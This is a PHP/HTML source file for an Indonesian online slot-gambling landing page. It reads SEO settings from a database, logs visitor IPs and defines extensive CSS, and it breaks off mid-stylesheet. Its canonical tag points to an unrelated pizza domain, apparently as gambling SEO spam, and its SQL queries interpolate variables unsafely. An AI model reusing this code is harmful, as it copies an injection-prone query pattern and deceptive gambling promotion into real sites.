<?php
ob_start();
session_start();
date_default_timezone_set("Asia/Jakarta");
include('config/koneksi.php');
$sid = session_id();

// Ambil data dari tb_seo
$sql_0 = mysqli_query($conn, "SELECT * FROM `tb_seo` WHERE cuid = 1");
$s0 = mysqli_fetch_array($sql_0);
$urlweb = $s0['urlweb'];
$pengguna = $s0['user'];
$keywords = $s0['keyword'];
$deskripsi = $s0['deskripsi'];
$pengumuman = $s0['pengumuman'];
$instansi = $s0['instansi'];

// Ambil data dari tb_social
$sql_1a = mysqli_query($conn, "SELECT * FROM `tb_social` WHERE cuid = 1");
$s1a = mysqli_fetch_array($sql_1a);

// Ambil data pengguna
$sql_1b = mysqli_query($conn, "SELECT * FROM `tb_user` WHERE user = '$pengguna'");
$s1b = mysqli_fetch_array($sql_1b);

// Simpan informasi statistik
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('Y-m-d');
$stat = mysqli_query($conn, "INSERT INTO `tb_stat` (`ip`, `date`, `hits`, `page`, `user`) VALUES ('$ip', '$date', 1, 'Beranda', '$pengguna')");

if (isset($_SESSION['user'])) {
    // Jika user sudah login, arahkan ke halaman homelogin
    header('Location: ../secure/home');
    exit();
}
?>

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" lang="id">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=5.0">
    <title><?php echo $instansi ?>: Daftar Situs Slot Gacor Online Terpercaya Gampang Menang Hari Ini</title>
    <meta name="description" content="<?php echo $deskripsi ?>">
    <meta name="keywords" content="<?php echo $keywords ?>">

    <link rel="icon" href="<?php echo $urlweb; ?>/upload/<?php echo $s0['image']; ?>" type="image/x-icon">
    <link rel="amphtml" href="https://ampjanjiwin.com/amp/">
    <meta name="google-site-verification" content="pjp846nlpP75MwXxI4Xi7G6gGLNeP4MVw58fGFy1JTc" />
    <link rel="canonical" href="https://dimitriospizza.com/" />
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <style>
        @media only screen and (max-width:768px) {
            body {
                font-family: Roboto, sans-serif;
                font-size: 14px;
                color: #fff;
                margin: 0;
                box-sizing: border-box;
                line-height: 1.42857
            }

            header {
                padding-top: 4px
            }

            ul {
                display: flex;
                list-style: none;
                -webkit-margin-before: 0;
                margin-block-start: 0;
                -webkit-margin-after: 0;
                margin-block-end: 0;
                -webkit-margin-start: 0;
                margin-inline-start: 0;
                -webkit-margin-end: 0;
                margin-inline-end: 0;
                -webkit-padding-start: 0;
                padding-inline-start: 0
            }

            ul li {
                padding: 0 8px
            }

            a {
                text-decoration: none;
                color: #fff
            }

            a:focus {
                outline: 0
            }

            a:active {
                opacity: .2
            }

            .wrapper {
                width: 100%;
                padding: 0 6rem;
                box-sizing: border-box
            }

            .button {
                margin: 0 auto;
                width: 100%;
                display: block;
                padding: 12px 16px;
                font-size: 16px;
                line-height: 1.33333;
                border-radius: 0;
                cursor: pointer;
                box-sizing: border-box;
                text-align: center;
                border: none
            }

            .button:active {
                opacity: .2
            }

            .button:focus {
                outline: 0
            }

            input {
                font-family: Roboto, sans-serif
            }

            .nav {
                box-shadow: 0 2px 0 rgba(0, 0, 0, .3);
                position: fixed;
                top: 0;
                height: 50px;
                width: 100%;
                z-index: 9998;
                display: flex;
                justify-content: space-between;
                align-items: center
            }

            .nav__menu,
            .nav__notification {
                cursor: pointer;
                padding: 8px 10px;
                z-index: 1
            }

            .nav__menu:active,
            .nav__notification:active {
                opacity: .2
            }

            .nav__logo {
                max-width: 90px
            }

            .nav__logo img {
                max-width: 100%;
                height: auto
            }

            .slider img {
                width: 100%;
                height: auto;
                margin-bottom: -4px
            }

            .slider .swiper-button-next,
            .slider .swiper-button-prev {
                color: rgba(255, 255, 255, .4)
            }

            .slider .swiper-button-next::after,
            .slider .swiper-button-prev::after {
                font-size: 16px
            }

            .slider .swiper-button-next:focus,
            .slider .swiper-button-prev:focus {
                outline: 0
            }

            .swiper-container-horizontal>.swiper-pagination-bullets {
                bottom: 5px
            }

            .footer {
                width: 100%;
                margin: 0 auto;
                padding-bottom: 24px
            }

            .footer .social-logo {
                margin-bottom: 0;
                padding-bottom: 12px
            }

            .footer .social-logo ul {
                display: flex;
                flex-wrap: wrap;
                justify-content: center
            }

            .footer .social-logo ul li {
                padding: 5px 8px
            }

            .footer .social-logo ul li a {
                color: #211f69;
                font-size: 26px
            }

            .bottom-nav {
                background-color: #171342;
                position: fixed;
                bottom: -2px;
                height: 60px;
                width: 100%;
                z-index: 999
            }

            .bottom-nav ul {
                width: 100%;
                height: 100%;
                display: flex;
                align-items: center
            }

            .bottom-nav ul li {
                flex: 1;
                text-align: center
            }

            .bottom-nav ul li a {
                display: flex;
                flex-direction: column;
                font-size: 12px
            }

            .menu {
                background-color: #fff;
                position: fixed;
                top: 0;
                left: -280px;
                min-height: 100vh;
                z-index: 9999;
                max-width: 17.5rem;
                width: 280px;
                height: 100%;
                overflow: auto;
                transition: all ease .3s
            }

            .menu ul {
                display: block
            }

            .menu ul li {
                padding: 10px 16px;
                border-bottom: 1px solid #ddd;
                display: grid;
                -webkit-box-align: center
            }

            .menu ul li a {
                display: flex;
                align-items: center
            }

            .menu ul li a img {
                width: 21px;
                height: 21px;
                margin-right: 16px
            }

            .menu ul li a .sub-menu {
                width: 32px;
                height: 32px;
                margin-right: 16px;
                -o-object-fit: contain;
                object-fit: contain
            }

            .menu ul li a .black-to-white {
                filter: invert(0) !important;
                -webkit-filter: invert(0) !important
            }

            .menu ul li a span {
                color: #fff;
                font-size: 16px
            }

            .modal {
                position: fixed;
                top: 0;
                left: 0;
                right: 0;
                bottom: 0;
                overflow-x: hidden;
                overflow-y: auto;
                z-index: 999999;
                background: rgba(0, 0, 0, .5);
                display: none
            }

            .modal__box {
                max-width: 45%;
                margin: 2% auto;
                transition: all ease .3s
            }

            @media only screen and (max-width:732px) {
                .modal__box {
                    max-width: 96%;
                    margin: 2% auto
                }
            }

            @media only screen and (max-width:475px) {
                .modal__box {
                    max-width: 100%;
                    margin: 0
                }
            }

            .modal__content {
                position: relative;
                background-color: #e6e5e5;
                color: #292b2c;
                background-clip: padding-box;
                border: 2px solid rgba(0, 0, 0, .2);
                border-radius: .3rem;
                outline: 0
            }

            .modal__content .notif-header {
                padding: 15px;
                position: relative
            }

            .modal__content .notif-header__title {
                font-size: 24px;
                text-align: center
            }

            .modal__content .notif-header__close {
                position: absolute;
                top: 0;
                right: 0;
                width: 40px;
                height: 40px;
                background-color: #171342;
                display: flex;
                justify-content: center;
                align-items: center;
                cursor: pointer
            }

            .modal__content .notif-header__close:active {
                opacity: .2
            }

            .modal__content .notif-header__close img {
                width: 16px;
                height: auto
            }

            .modal__content .notif-body {
                padding: 0 24px 24px
            }

            .box {
                padding: 10px 15px;
                max-width: 50rem;
                margin: 0 auto;
                box-sizing: border-box
            }

            .form-group {
                margin-bottom: 1rem
            }

            .form-group .form-control {
                display: block;
                width: 100%;
                padding: .5rem .75rem;
                font-size: 1rem;
                line-height: 1.25;
                color: #464a4c;
                border: 2px solid rgba(0, 0, 0, .15);
                font-weight: 300;
                text-align: left;
                border-radius: 0;
                transition: all .2s ease-in-out;
                margin-top: .6rem;
                box-sizing: border-box;
                background-color: #fff
            }

            .form-group .form-control:focus {
                border: 2px solid;
                outline: 0;
                border-color: #171342
            }

            .hamburger {
                padding: 8px 8px !important;
                display: inline-block;
                cursor: pointer;
                transition-property: opacity, -webkit-filter;
                transition-property: opacity, filter;
                transition-property: opacity, filter, -webkit-filter;
                transition-duration: .15s;
                transition-timing-function: linear;
                font: inherit;
                color: inherit;
                text-transform: none;
                background-color: transparent;
                border: 0;
                margin: 0;
                overflow: visible
            }

            .hamburger:hover {
                opacity: .7
            }

            .hamburger-box {
                display: block;
                width: 25px;
                height: 16px
            }

            .hamburger-inner {
                display: block;
                top: 50%;
                margin-top: -2px
            }

            .hamburger-inner,
            .hamburger-inner::after,
            .hamburger-inner::before {
                width: 25px;
                height: 2px;
                background-color: #fff;
                border-radius: 4px;
                position: absolute;
                transition-property: -webkit-transform;
                transition-property: transform;
                transition-property: transform, -webkit-transform;
                transition-duration: .15s;
                transition-timing-function: ease
            }

            .hamburger-inner::after,
            .hamburger-inner::before {
                content: "";
                display: block
            }

            .hamburger-inner::before {
                top: -7px
            }

            .hamburger-inner::after {
                bottom: -7px
            }

            .hamburger--squeeze .hamburger-inner {
                transition-duration: .1s;
                transition-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19)
            }

            .hamburger--squeeze .hamburger-inner::before {
                transition: top .1s .14s ease, opacity .1s ease
            }

            .hamburger--squeeze .hamburger-inner::after {
                transition: bottom .1s .14s ease, -webkit-transform .1s cubic-bezier(.55, .055, .675, .19);
                transition: bottom .1s .14s ease, transform .1s cubic-bezier(.55, .055, .675, .19);
                transition: bottom .1s .14s ease, transform .1s cubic-bezier(.55, .055, .675, .19), -webkit-transform .1s cubic-bezier(.55, .055, .675, .19)
            }

            .modal-forgot {
                background-color: rgba(255, 255, 255, .9);
                position: fixed;
                top: 0;
                left: 0;
                right: 0;
                bottom: 0;
                z-index: 9999999;
                display: none
            }

            .modal-forgot__dialog {
                max-width: 650px;
                background-color: #e9e9ed;
                color: #464a4c;
                box-shadow: 0 0 50px 10px rgba(10, 10, 10, .25);
                margin: auto;
                position: relative;
                flex: 1
            }

            .modal-forgot__dialog-header {
                padding: 15px;
                border-bottom: 2px solid rgba(128, 128, 128, .2);
                position: relative
            }

            .modal-forgot__dialog-header .forgot-title {
                text-align: center
            }

            .modal-forgot__dialog-header .forgot-close {
                position: absolute;
                right: 15px;
                top: 15px;
                cursor: pointer
            }

            .modal-forgot__dialog-header .forgot-close:active {
                opacity: .2
            }

            .modal-forgot__dialog-header .forgot-close i {
                font-size: 18px
            }

            .modal-forgot__dialog-body .img-container {
                width: 100%;
                display: flex;
                justify-content: center;
                margin-top: 24px
            }

            .modal-forgot__dialog-body .img-container img {
                max-width: 200px;
                margin: 0 auto;
                height: auto
            }

            .modal-forgot__dialog-body form {
                padding: 24px 12px 48px
            }

            .modal-forgot__dialog-body form .form-container .form-group {
                display: flex;
                flex-direction: column;
                padding: 12px 0;
                position: relative;
                margin-bottom: 0
            }

            .modal-forgot__dialog-body form .form-container .form-group .form-control {
                padding: 11px 8px;
                font-size: 14px;
                height: 40px;
                box-sizing: border-box;
                border: none;
                background-color: #fff;
                margin-top: 0
            }

            .modal-forgot__dialog-body form .form-container .form-group .form-control:focus {
                outline: 0
            }

            .modal-forgot__dialog-body form .form-container .form-group .icon {
                position: absolute;
                top: 22px;
                right: 12px
            }

            .modal-forgot__dialog-body form .form-container .form-group .icon i {
                font-size: 16px
            }

            .modal-forgot__dialog-body form .button {
                margin: 0 auto;
                width: 180px;
                display: block;
                padding: 12px 16px;
                font-size: 16px;
                line-height: 1.33333;
                border-radius: 0;
                cursor: pointer;
                box-sizing: border-box;
                text-align: center
            }

            .modal-forgot__dialog-body form .button:focus {
                outline: 0
            }

            .modal-forgot__dialog-body form .button:active {
                opacity: .2
            }

            .modal-forgot__dialog-body form .button--submit {
                color: #212121;
                background-color: #e3a43b;
                border-color: #e3a43b;
                margin-top: 16px
            }

            .modal-login {
                background-color: rgba(255, 255, 255, .9);
                position: fixed;
                top: 0;
                left: 0;
                right: 0;
                bottom: 0;
                z-index: 9999999;
                display: none;
                overflow: auto
            }

            .modal-login__dialog {
                max-width: 650px;
                background-color: #e9e9ed;
                color: #464a4c;
                box-shadow: 0 0 50px 10px rgba(10, 10, 10, .25);
                margin: auto;
                position: relative;
                top: 50%;
                -webkit-transform: translateY(-50%);
                transform: translateY(-50%);
                top: unset;
                -webkit-transform: unset;
                transform: unset
            }

            .modal-login__dialog-header {
                padding: 15px;
                border-bottom: 2px solid rgba(128, 128, 128, .2);
                position: relative
            }

            .modal-login__dialog-header .header-title {
                text-align: center
            }

            .modal-login__dialog-header .header-close {
                position: absolute;
                right: 15px;
                top: 15px;
                cursor: pointer
            }

            .modal-login__dialog-header .header-close:active {
                opacity: .2
            }

            .modal-login__dialog-header .header-close i {
                font-size: 18px
            }

            .modal-login__dialog-body .img-container {
                width: 100%;
                display: flex;
                justify-content: center;
                margin-top: 24px
            }

            .modal-login__dialog-body .img-container img {
                max-width: 200px;
                margin: 0 auto;
                height: auto
            }

            .modal-login__dialog-body form {
                padding: 24px 24px 48px
            }

            .modal-login__dialog-body form .form-container {
                display: flex;
                flex-direction: column
            }

            .modal-login__dialog-body form .form-container .form-input {
                flex: 1
            }

            .modal-login__dialog-body form .form-container .form-input .form-group {
                display: flex;
                flex-direction: column;
                padding: 12px;
                position: relative
            }

            .modal-login__dialog-body form .form-container .form-input .form-group .form-control {
                padding: 11px 8px;
                font-size: 14px;
                height: 40px;
                box-sizing: border-box;
                border: none;
                background-color: #fff
            }

            .modal-login__dialog-body form .form-container .form-input .form-group .form-control:focus {
                outline: 0
            }

            .modal-login__dialog-body form .button {
                margin: 0 auto;
                width: 180px;
                display: block;
                padding: 12px 16px;
                font-size: 16px;
                line-height: 1.33333;
                border-radius: 0;
                cursor: pointer;
                box-sizing: border-box;
                text-align: center
            }

            .modal-login__dialog-body form .button:focus {
                outline: 0
            }

            .modal-login__dialog-body form .button:active {
                opacity: .2
            }

            .modal-login__dialog-body form .button--register {
                color: #212121;
                background-color: #e3a43b;
                border-color: #e3a43b
            }

            .modal {
                z-index: 9999 !important
            }

            .text-center {
                text-align: center
            }

            .modal-login__dialog-body .button2 {
                color: #212121;
                background-color: #1da0cb;
                border-color: #1da0cb
            }

            .modal-login__dialog-body .button-forget {
                color: #1da0cb;
                display: block;
                margin: 20px 0
            }

            #showD {
                display: none
            }

            .bottom-nav,
            .content,
            .nav {
                transition-duration: .3s
            }

            .overlap {
                position: fixed;
                width: 100%;
                height: 100%;
                background: rgb(0 0 0 / 85%);
                z-index: 9999;
                display: none
            }

            .nav__logo {
                max-width: none
            }

            .nav__logo a {
                display: inline-flex
            }

            .nav__logo img {
                max-width: none;
                height: 41px;
                width: auto
            }

            .content {
                margin: 50px 0 100px
            }

            .seo {
                padding: 25px 15px;
                border-top: 0 solid rgba(113, 123, 143, .2);
                color: #fff
            }

            .seo h1,
            .seo h2 {
                font-size: 1em;
                margin: 0 0 10px;
                line-height: normal
            }

            .seo p {
                font-size: 12px
            }

            .modal-forgot__dialog-body .img-container img,
            .modal-login__dialog-body .img-container img {
                -webkit-filter: brightness(0%);
                filter: brightness(0%)
            }

            .contact {
                color: #262626
            }

            body {
                background-color: #111;
                overflow-x: hidden
            }

            .nav {
                background-color: #141126
            }

            .bottom-nav {
                background-color: #141126
            }

            .bottom-nav a {
                color: #101010
            }

            .menu {
                background-color: #080711
            }

            .menu ul li {
                border-color: #33112e
            }

            .menu ul li a img {
                -webkit-filter: invert(100%) sepia(0%) saturate(0%) hue-rotate(3deg) brightness(111%) contrast(101%) !important;
                filter: invert(100%) sepia(0%) saturate(0%) hue-rotate(3deg) brightness(111%) contrast(101%) !important
            }

            .footer .social-logo ul li a {
                color: #942d86
            }

            .modal-login__dialog-body .button-forget {
                color: #111
            }

            .modal-login__dialog-body .button2 {
                background-color: #6a6a6a;
                color: #fff
            }

            .slider .swiper-button-next,
            .slider .swiper-button-prev {
                width: 48px;
                height: 48px
            }

            .nav:after,
            .nav:before,
            .row:after,
            .row:before {
                content: none
            }

            .bottom-nav a,
            .footer .social-logo ul li a {
                color: #e4e4e4
            }

            .marquee {
                display: flex;
                background-color: #10131a;
                padding: 8px 10px;
                font-weight: 700;
                font-style: italic
            }

            .marquee marquee {
                line-height: 28px
            }

            .marquee .marquee__bullhorn {
                border-radius: 5px;
                display: flex;
                align-items: center
            }

            .quick-btn {
                display: flex
            }

            .quick-btn a {
                flex: 1;
                text-align: center;
                padding: 10px 0;
                font-weight: 700;
                letter-spacing: 1px
            }

            .menu-2 {
                display: flex;
                overflow: auto;
                border-color: #393639;
                border-width: 1px 0 1px 0;
                border-style: solid
            }

            .quick-btn+.menu-2 {
                border-top: 0
            }

            .menu-2 li {
                font-size: 14px;
                padding: 10px 12px 3px 12px;
                border-bottom: 3px solid transparent
            }

            .menu-2 a {
                align-items: center;
                display: flex;
                flex-direction: column
            }

            .menu-2 a img {
                height: 50px;
                width: auto
            }

            .menu-2 span {
                white-space: nowrap;
                margin-top: 5px
            }

            .progressive-jackpot-text-wrapper {
                width: 100%;
                text-align: center;
                margin-top: 20px
            }

            .progressive-jackpot-text-wrapper img {
                height: 17px;
                width: auto
            }

            .progressive-jackpot {
                background: center no-repeat;
                background-size: 700px auto;
                background-image: url(/assets/img/progressive-jackpot-m.png);
                background-image: url(/assets/img/progressive-jackpot-m.webp);
                color: #fff;
                height: 109px;
                position: relative;
                margin-top: 5px
            }

            .progressive-jackpot .jackpot-container {
                font-family: Quantico, sans-serif;
                font-size: 40px;
                line-height: 60px;
                letter-spacing: 1px;
                position: absolute;
                width: 382px;
                text-align: center;
                top: 25px;
                left: 0;
                right: 0;
                margin-left: auto;
                margin-right: auto;
                white-space: nowrap
            }

            .progressive-jackpot .jackpot-currency {
                margin-right: 0;
                display: inline-block;
                text-align: right
            }

            .progressive-jackpot .jackpotNumber {
                display: inline-block;
                text-align: left
            }

            .games {
                padding: 0 10px
            }

            .home-games {
                margin-top: 20px
            }

            .home-games:first-child {
                margin-top: 5px
            }

            .home-games:last-child {
                margin-bottom: 20px
            }

            .home-games>.title {
                display: flex;
                justify-content: space-between;
                margin-bottom: 8px
            }

            .home-games>.title span {
                color: #fff;
                font-weight: 700;
                font-size: 15px;
                align-self: center
            }

            .home-games>.title a {
                color: #fff;
                font-size: 8px;
                font-weight: 700;
                padding: 5px 10px;
                border-radius: 5px
            }

            .home-games .game-wrapper {
                overflow-x: auto
            }

            .home-games .game-items {
                display: flex;
                width: 625px;
                gap: 3px
            }

            .home-games .game-items>.box {
                cursor: pointer;
                text-align: center;
                color: #fff;
                width: calc(100% / 6 - 5px);
                min-width: 112px;
                border-radius: 15px;
                padding: 6px
            }

            .home-games .game-items>.box>span {
                padding-top: 5px;
                display: block;
                color: #fff;
                text-transform: uppercase;
                font-size: 9px
            }

            .home-games .game-items>.box>.box-item {
                overflow: hidden;
                border-radius: 5px
            }

            .home-games .game-items>.box>.box-item img {
                max-width: 100%;
                height: auto;
                transition: -webkit-transform .2s ease-in-out;
                transition: transform .2s ease-in-out;
                transition: transform .2s ease-in-out, -webkit-transform .2s ease-in-out
            }

            .home-games .game-items>.box:hover>.box-item img {
                -webkit-transform: scale(1.25);
                transform: scale(1.25)
            }

            .depo-withdraw {
                display: flex;
                gap: 10px;
                padding: 15px 10px
            }

            @media only screen and (max-width:370px) {
                .depo-withdraw {
                    display: grid
                }
            }

            .depo-withdraw .card {
                padding: 16px 9px;
                background-color: #141126;
                box-shadow: 0 4px 24px 1px rgba(0, 0, 0, .15);
                border-radius: 10px;
                width: calc(100% / 1.04)
            }

            .depo-withdraw .card .card-header {
                display: flex;
                gap: 5px;
                align-items: center;
                text-align: left
            }

            .depo-withdraw .card .card-header .title {
                font-weight: 600;
                font-size: 16px
            }

            .depo-withdraw .card .circle-wrp {
                padding: 0;
                font-size: 30px;
                vertical-align: middle;
                background: #444242;
                border-radius: 100%;
                width: 43px;
                height: 31px;
                display: grid;
                align-items: center;
                justify-items: center;
                margin-right: 4px
            }

            .depo-withdraw .card .text-wrp {
                width: 100%
            }

            .depo-withdraw .card .text-wrp .text-row {
                display: flex;
                flex-direction: row;
                align-content: stretch;
                justify-content: space-between;
                align-items: center
            }

            .depo-withdraw .card .circle-wrp .ring {
                padding: 0;
                background: #141126;
                width: 27px;
                height: 27px;
                border-radius: 100%;
                display: grid;
                align-items: center;
                justify-items: center
            }

            .depo-withdraw .card .circle-wrp .ring .icon {
                width: 100%;
                height: 100%
            }

            .depo-withdraw .card .progress {
                background: #2f285b;
                border-radius: 10px;
                height: 6px;
                margin-top: 6px
            }

            .depo-withdraw .card .progress-bar {
                background: #942d86;
                border-radius: 10px;
                height: 6px;
                position: relative
            }

            .depo-withdraw .card .progress-bar::before {
                content: "";
                display: inline-block;
                width: 12px;
                height: 12px;
                border-radius: 7.5px;
                background-color: #942d86;
                position: absolute;
                right: -1px;
                top: -3px
            }

            .depo-withdraw .card .text-time-new {
                text-align: left;
                padding-bottom: 0;
                font-size: 18px;
                font-weight: 800
            }

            .depo-withdraw .card .text-time-new span {
                font-size: 38px
            }

            @media only screen and (max-width:700px) {
                .depo-withdraw .card .card-header .title {
                    font-weight: 600;
                    font-size: 12px
                }

                .depo-withdraw .card .card-header .description {
                    font-weight: 600;
                    font-size: 12px
                }

                .depo-withdraw .card .text-time-new {
                    text-align: left;
                    padding-bottom: 0;
                    font-size: 12px;
                    font-weight: 800
                }

                .depo-withdraw .card .text-time-new span {
                    font-size: 12px
                }
            }

            @media only screen and (max-width:450px) {
                .depo-withdraw .card .card-header .title {
                    font-weight: 600;
                    font-size: 8px
                }

                .depo-withdraw .card .card-header .description {
                    font-weight: 400;
                    font-size: 8px
                }
            }

            .depo-withdraw>div {
                display: flex;
                flex-direction: column;
                gap: 14px;
                align-items: center;
                flex: 1;
                padding: 7px;
                border-radius: 10px;
                background: #141126;
                text-align: center
            }

            .supported-banks {
                padding: 0 15px 15px
            }

            .supported-banks .list-wrapper {
                display: flex;
                gap: 16px
            }

            .supported-banks .title {
                text-align: center;
                font-size: 14px;
                font-weight: 500;
                margin: 0 0 10px
            }

            .supported-banks .title .text-color {
                color: #942d86
            }

            @media only screen and (max-width:350px) {
                .supported-banks .list-wrapper {
                    display: grid
                }
            }

            .supported-banks .button-pay {
                display: flex;
                align-items: center;
                box-sizing: border-box;
                overflow: hidden;
                outline: 0;
                cursor: inherit;
                width: 100%;
                height: 30px;
                opacity: 1;
                border-radius: 5px;
                box-shadow: rgba(3, 3, 3, .1) 0 0 10px;
                padding: 0 0;
                gap: 16px;
                justify-content: center;
                border: none
            }

            .supported-banks .button-pay .icon {
                width: 22px;
                height: 22px;
                display: block
            }

            .supported-banks .button-pay .text {
                text-align: left;
                line-height: 4.3px
            }

            .supported-banks .button-pay .text .text-title {
                color: #fff;
                font-weight: 700;
                white-space: nowrap
            }

            @media only screen and (max-width:700px) {
                .supported-banks .button-pay {
                    gap: 6px
                }

                .supported-banks .button-pay .text .text-title {
                    text-align: left;
                    line-height: 4.3px;
                    font-size: 10px;
                    white-space: normal !important;
                    line-height: normal
                }

                .supported-banks .button-pay .text {
                    text-align: left;
                    line-height: 4.3px
                }
            }

            #showM.wt .nav {
                top: 60px
            }

            #showM.wt .content {
                margin-top: 110px
            }

            .g8app-mob {
                height: 60px;
                background-color: #111;
                position: fixed;
                top: 0;
                width: 100%;
                z-index: 9998;
                transition-duration: .3s;
                display: none
            }

            .g8app-mob .l {
                height: 60px;
                position: absolute;
                left: 0;
                top: 0;
                width: 50px;
                font-size: 20px;
                text-align: center;
                cursor: pointer;
                display: grid;
                justify-content: center;
                align-items: center
            }

            .g8app-mob .l i {
                font-size: 10px;
                color: #dedede
            }

            .wrapper-close {
                border: 1px solid #7e7e7e;
                height: 24px;
                display: grid;
                width: 24px;
                align-items: center;
                border-radius: 8px;
                background: #424242;
                line-height: 0
            }

            .g8app-mob .c {
                height: 50px;
                position: absolute;
                left: 50px;
                top: 5px;
                width: calc(100% - 110px)
            }

            .g8app-mob .c .cl {
                float: left;
                height: 50px;
                padding-right: 15px
            }

            .g8app-mob .c .cl img {
                height: 100%;
                width: auto
            }

            .g8app-mob .c .cr {
                float: left;
                height: 100%;
                display: flex;
                flex-direction: column;
                gap: 3px
            }

            .g8app-mob .c .cr h3 {
                margin: 0;
                text-transform: uppercase;
                font-size: 18px
            }

            .g8app-mob .c .cr p {
                margin: 0;
                font-size: 12px
            }

            .g8app-mob .r {
                height: 60px;
                position: absolute;
                right: 0;
                top: 0;
                width: 140px;
                font-size: 26px;
                display: flex;
                align-items: flex-end
            }

            .g8app-mob .r a {
                text-align: center;
                width: 60px;
                background-color: #fc0;
                height: 100%;
                display: grid;
                align-content: center;
                justify-content: center
            }

            .r img {
                width: 60px;
                height: auto;
                -o-object-fit: contain;
                object-fit: contain;
                padding: 0 10px;
                display: block
            }

            .r .icon-download {
                width: 31px;
                height: auto;
                -o-object-fit: contain;
                object-fit: contain
            }

            .bottom-nav img {
                height: 24px;
                width: auto;
                margin: 5px auto;
                border-radius: 0;
                -webkit-border-radius: 0;
                -moz-border-radius: 0;
                -ms-border-radius: 0;
                -o-border-radius: 0
            }

            .bottom-nav .wrap {
                height: 24px;
                width: 24px;
                margin: 5px auto;
                border-radius: 100%;
                background-color: #141126;
                -webkit-transform: scale(2.5) translateY(-5px);
                transform: scale(2.5) translateY(-5px);
                -webkit-border-radius: 100%;
                -moz-border-radius: 100%;
                -ms-border-radius: 100%;
                -o-border-radius: 100%
            }

            .bottom-nav .wrap img {
                position: relative;
                top: -3px;
                height: 20px;
                width: 20px
            }

            .bottom-nav .active img {
                -webkit-filter: invert(27%) sepia(32%) saturate(2884%) hue-rotate(278deg) brightness(88%) contrast(95%);
                filter: invert(27%) sepia(32%) saturate(2884%) hue-rotate(278deg) brightness(88%) contrast(95%)
            }

            .bottom-nav .live-chat {
                background: 0 0;
                -webkit-animation: pulse 3s infinite;
                animation: pulse 3s infinite
            }

            .wa-icon {
                position: fixed;
                left: 24px;
                bottom: 68px;
                z-index: 99
            }

            .wa-icon img {
                max-width: 40px;
                height: auto
            }

            .footer {
                padding-bottom: 0
            }

            .menu .games span {
                font-size: 16px
            }

            .menu .games .all-games {
                margin-top: 7px
            }

            .menu .games .all-games li {
                background-color: transparent;
                border-color: transparent;
                padding: 7px 16px
            }

            @media only screen and (max-width:767px) {
                .progressive-jackpot {
                    background-size: 100% auto;
                    margin: 5px 10px
                }
            }

            @media only screen and (max-width:480px) {
                .progressive-jackpot {
                    height: 80px
                }

                .progressive-jackpot .jackpot-container {
                    font-size: 26px;
                    line-height: 35px;
                    letter-spacing: 1px;
                    width: auto
                }
            }

            @media only screen and (max-width:400px) {
                .progressive-jackpot .jackpot-currency {
                    margin-right: 4px
                }
            }

            .nav .nav__logo {
                position: absolute;
                display: flex;
                align-items: center;
                justify-content: center;
                width: 100%
            }

            .sidenav {
                background: #141126;
                padding: 20px 25px
            }

            .sidenav .welcome {
                text-align: center
            }

            .sidenav .sidenav_logo {
                margin: 10px 0;
                text-align: center
            }

            .sidenav .sidenav_logo img {
                width: 150px;
                height: auto
            }

            .sidenav .sidenav_btn_title {
                text-align: center;
                color: #fff;
                font-size: 13px
            }

            .sidenav .sidenav_btn_button {
                display: flex;
                align-items: center;
                justify-content: space-between;
                margin: 8px 0
            }

            .sidenav .sidenav_btn_button button {
                outline: 0;
                border: none;
                border-radius: 5px;
                min-width: 105px;
                font-size: 16px;
                font-weight: 500;
                padding: 10px 0;
                box-shadow: 0 2px 2px rgb(0 0 0 / 25%);
                color: #fff;
                cursor: pointer
            }

            .sidenav .sidenav_btn_button .sidenav-login {
                background: #4b4b45;
                margin-right: 5px
            }

            .sidenav .sidenav_btn_button .sidenav-register {
                background: #6e1a55
            }

            .sidenav .sidenav_btn_forgetpw {
                text-align: right;
                font-size: 13px;
                color: #fff
            }

            .sidenav-games {
                padding: 10px 25px
            }

            .sidenav-games .games>svg {
                position: absolute;
                right: 28px;
                margin-top: 6px;
                fill: #fff
            }

            .nav__notification.g8pop-ann {
                display: flex;
                align-items: center
            }

            @media only screen and (max-width:500px) {
                .supported-banks .button-pay .text .text-title {
                    font-size: 8px;
                    white-space: nowrap !important
                }

                .supported-banks .button-pay {
                    height: 30px
                }

                .supported-banks .button-pay .icon {
                    width: 16px;
                    height: 16px
                }
            }
        }

        @media only screen and (min-width:769px) {
            body {
                font-family: Roboto, sans-serif;
                font-size: 14px;
                color: #fff;
                margin: 0;
                box-sizing: border-box;
                line-height: 1.42857;
                min-width: 1230px;
                width: 100%
            }

            header {
                padding-top: 4px
            }

            ul {
                display: flex;
                list-style: none;
                -webkit-margin-before: 0;
                margin-block-start: 0;
                -webkit-margin-after: 0;
                margin-block-end: 0;
                -webkit-margin-start: 0;
                margin-inline-start: 0;
                -webkit-margin-end: 0;
                margin-inline-end: 0;
                -webkit-padding-start: 0;
                padding-inline-start: 0
            }

            ul li {
                padding: 0 8px
            }

            a {
                text-decoration: none;
                color: #fff
            }

            hr {
                margin: 10px 0 20px 0;
                border-color: #cac9c9;
                border-top: 1px solid rgba(113, 123, 143, .2)
            }

            .wrapper {
                width: 100%;
                max-width: 1230px;
                margin: 0 auto;
                padding: 0 15px;
                box-sizing: border-box
            }

            @media only screen and (max-width:1199px) {
                .wrapper {
                    padding: 0 1rem
                }
            }

            .button {
                font-weight: 400;
                text-align: center;
                vertical-align: middle;
                touch-action: manipulation;
                cursor: pointer;
                background-image: none;
                border: 1px solid transparent;
                white-space: nowrap;
                padding: 10px 12px;
                font-size: 14px;
                line-height: 1.42857;
                border-radius: 4px;
                -webkit-user-select: none;
                -moz-user-select: none;
                user-select: none;
                border-radius: 0;
                transition: .3s
            }

            .button:focus {
                outline: 0
            }

            .button:active {
                opacity: .2
            }

            .header-top {
                margin-bottom: 18px
            }

            .header-top__detail {
                display: flex;
                justify-content: flex-end;
                font-size: 12px;
                z-index: 9
            }

            .header-top__detail li {
                border-right: 1px solid rgba(255, 255, 255, .2)
            }

            .header-top__detail li:last-child {
                border-right: none
            }

            .header-top__detail .g8-livechat {
                cursor: pointer
            }

            .header-mdl {
                display: flex;
                align-items: flex-start;
                position: relative;
                margin-bottom: 8px
            }

            .header-mdl__logo {
                position: absolute;
